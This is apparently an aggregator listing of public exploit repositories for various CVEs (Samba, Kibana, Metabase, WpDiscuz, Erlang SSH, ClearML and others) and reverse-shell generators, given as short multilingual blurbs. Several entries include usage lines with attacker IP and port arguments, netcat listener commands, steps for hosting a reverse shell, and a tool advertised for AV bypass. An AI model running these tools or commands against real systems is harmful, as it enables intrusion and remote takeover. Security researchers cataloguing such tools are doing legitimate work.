CVE-2017-12636

CVE-2017-12636 Usage: python3 exp.py target version1.6|2.1 reverseip reverseport root@kitploit: / \ | | | | / | |/ | | / / | / \ / || |/ | | / / | | | | ' / /'| |/' || | / /| | ' / /'/ / / / / | | | | | | || / / | /| | | | / /|| | / / | \ \ \ \ | /\ / / | ./ /\ |/ /| |./ / | |./ /| / |./ / /...

Corsair---DLL-Planting-CVE-2023-38822

Corsair---DLL-Planting-CVE-2023-38822 DLL Planting in the Corsair iCUE v.5.3.102 CVE-2023-38822 Discoverer: Idan Malihi Description An issue in Corsair iCUE v.5.3.102 allows a local attacker to execute arbitrary code via the MPDC.dll, CRYPTSP.dll, dcomp.dll, profapi.dll, and MSASN1.dll components...

Samba-CVE-2007-2447-Exploit

Samba CVE-2007-2447 Exploit This is a Python script for exploiting CVE-2007-2447, a vulnerability known as 'Username' map script command execution in the Samba server. Description This exploit is developed to target Samba versions 3.x - 4.x. CVE-2007-2447 allows an attacker to execute arbitrary...

CVE-2022-22947

Added two types of reverse shell and network egress detection based on Wang Zheng's code. If any module is missing at runtime, just use pip to download that module. Enter the suspicious URL address. Note: Do not include '/' after the port. 1. First check if the vulnerability exists By default, th...

ShellPop

ShellPop About Shellpop is all about popping shells. With this tool you can generate easy and sophisticated reverse or bind shell commands to help you during penetration tests. Don't waste more time with .txt files storing your Reverse shells! Installation Python 2.7 is required. 3.0+ version wil...

CVE-2020-24186_reverse_shell_upload

CVE-2020-24186 reverse shell upload Exploit for WpDiscuz 7.0.4 based on the the exploit written by h3v0x. Exploits the vulnerability and uploads a reverse PHP shell. Inspiration was the Blogger CTF. exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001...

CVE-2023-38646

Poc-Metabase-Preauth-CVE-2023-38646 사용 방법? root@kitploit: λ cve git clone https://github.com/LazyySec/CVE-2023-38646.git λ cve cd Poc-Metabase-Preauth-CVE-2023-38646 λ Poc-Metabase-Preauth-CVE-2023-38646 git:main go build CVE-2023-38646-Exploit.go λ Poc-Metabase-Preauth-CVE-2023-38646 git:main ✗ ...

CVE-2019-7609

CVE-2019-7609 CVE-2019-7609kibana RCE를 올바른 방식으로 익스플로잇하는 python2 스크립트 스냅샷 사용법 root@kitploit: python2 CVE-2019-7609-kibana-rce.py -h usage: CVE-2019-7609-kibana-rce.py -h -u URL -host REMOTEHOST -port REMOTEPORT --shell optional arguments: -h, --help show this help message and exit -u URL such as:...

CVE-2019-16759

CVE-2019-16759 vBulletin 5.x Unauthorized RCE Batch Detection Script This vulnerability is quite trivial; out of 200+ random targets, only 5 had it. Now handle it yourself—you already have PHP, how can you not get a reverse shell?...

reverse-shell

reverse-shell Reverse Shell как сервис — https://reverse-shell.sh Легко запоминающаяся обратная оболочка, которая должна работать на большинстве Unix-подобных систем. Определяет доступное программное обеспечение на целевой системе и запускает соответствующий полезный код. Использование 1. Ожидани...

rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287

rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287 This repository contains Detailed explanation and working poc for Rejetto HTTP File Server HFS 2.3.x - Remote Command Execution. Configuration: Create a netcat listner. root@kitploit: nc -lnvp 1234 Change the attacker ip to your ip and port...

CVE-2021-21315

the CVE-2021-21315's exploit code wrote with Rust lang I'm rust noob so this code was my part of RustLang practices Yes!!Let's Get the reverse shell!!!!!!!!!! !for education or researching only Build root@kitploit: cargo build Usage root@kitploit: ./exploit ./exploit...

Modified-CVE-2015-3306-Exploit

수정된 CVE-2015-3306 익스플로잇 사용 방법 1. PHP 리버스 셸을 생성합니다. 2. 셸을 호스팅할 서버를 같은 디렉터리에서 시작합니다 python3 -m http.server 3. 원하는 로컬 포트에서 netcat 리스너를 시작합니다. 예: nc -nlvp port of choice 4. 아래 제공된 익스플로잇 예제를 실행합니다 python3 modifiedCVE20153306.py --host remote host --port most likely port 21 --path /var/www or...

mcreator

mcreator Encoded Reverse Shell Generator With Techniques To Bypass AV's Installation root@kitploit: git clone https://github.com/blacknbunny/mcreator.git && cd mcreator/ && python mcreator.py Version python 2.7. can't be lower or higher than 2.7 cause of the """ syntax in scripts. Runnig mcreator...

mcreator

mcreator Генератор закодированных реверс-шеллов с техниками обхода антивирусов Установка root@kitploit: git clone https://github.com/blacknbunny/mcreator.git && cd mcreator/ && python mcreator.py Версия python 2.7. не может быть ниже или выше 2.7 из-за синтаксиса """ в скриптах. Запуск консоли...

CVE-2019-0708-Windows

CVE-2019-0708-Windows This article will share the Windows Remote Desktop Service vulnerability CVE-2019-0708, and provide a detailed explanation of the vulnerability and defensive measures. As a cybersecurity beginner, the author shares some self-study basic tutorials, mainly online notes about...

CVE-2025-32433-Remote-Shell

CVE-2025-32433 Remote Shell Go-based exploit for CVE-2025-32433 returning a remote bash shell. Heavily inspired by understanding of exploit derived from ProDefense's PoC for CVE-2025-32433. Running the Exploit root@kitploit: make exploit.exe is also made available for Windows machines by the...

notionterm

notionterm Embed reverse shell inNotion pages. Hack while taking notes FOR ➕: Hiding attacker IP in reverse shell No direct interaction between attacker and target machine. Notion is used as a proxy hosting the reverse shell Demo/Quick proof insertion within report High available and shareable...

notionterm

notionterm Notionページにリバースシェルを埋め込む メモを取りながらハッキング こんなときに ➕: リバースシェルで攻撃者のIPを隠したい 攻撃者とターゲットマシンが直接通信しない。Notionがリバースシェルをホストするプロキシとして機能 レポート内でのデモ/クイックプルーフの挿入 高可用性で共有可能なリバースシェル デスクトップ、ブラウザ、モバイル 暗号化および認証されたリモートシェル こういうときは使わない ➖: 長時間のインタラクティブシェルセッション その場合はtacosを参照 なぜ？ 🤔...

CVE-2024-24590

ClearML Exploit This repository contains a proof-of-concept exploit for a deserialization vulnerability in ClearML, allowing for remote command execution. This exploit demonstrates how to upload a malicious pickle artifact to ClearML to gain a reverse shell. Prerequisites Before you begin, ensure...